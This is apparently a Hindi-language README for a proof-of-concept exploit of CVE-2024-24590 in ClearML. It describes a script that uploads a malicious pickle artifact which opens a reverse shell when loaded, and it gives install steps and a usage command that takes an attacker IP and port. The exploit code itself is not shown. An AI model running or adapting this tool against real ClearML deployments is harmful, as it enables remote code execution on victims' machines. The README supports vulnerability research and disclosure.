_____ _                 __  __ _        _____   ____   _____ 
  / ____| |               |  \/  | |      |  __ \ / __ \ / ____|
 | |    | | ___  __ _ _ __| \  / | |      | |__) | |  | | |     
 | |    | |/ _ \/ _` | '__| |\/| | |      |  ___/| |  | | |     
 | |____| |  __/ (_| | |  |  | | | |____  | |    | |__| | |____ 
  \_____|_|\___|\__,_|_|  |_|  |_|______| |_|     \____/ \_____| - 2024-24590 x OxyDe
                                                                
                                                                

ClearML Pickle Artifact अपलोड PoC

यह प्रोजेक्ट दर्शाता है कि कमांड लाइन तर्कों के माध्यम से कॉन्फ़िगर करने योग्य पैरामीटर्स के साथ ClearML में एक pickle artifact को गतिशील रूप से कैसे अपलोड किया जाए। स्क्रिप्ट एक ClearML टास्क initialize करती है, रिवर्स शेल निष्पादन के लिए एक कमांड को गतिशील रूप से कॉन्फ़िगर करती है, और इसे एक artifact के रूप में अपलोड करती है। (PoC-CVE-2024-24590)

संदर्भ : https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

आवश्यक शर्तें

• Python 3.6+
• clearml पैकेज
• argparse पैकेज
• pickle पैकेज
• os मॉड्यूल

इंस्टॉलेशन

1. ClearML पैकेज इंस्टॉल करें:

   pip install clearml
   

2. रिपॉजिटरी क्लोन करें:

   git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
   cd PoC-CVE-2024-24590
   

उपयोग

स्क्रिप्ट चलाने के लिए, उपयुक्त तर्कों के साथ निम्न कमांड का उपयोग करें:

python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"

Skriix को धन्यवाद :)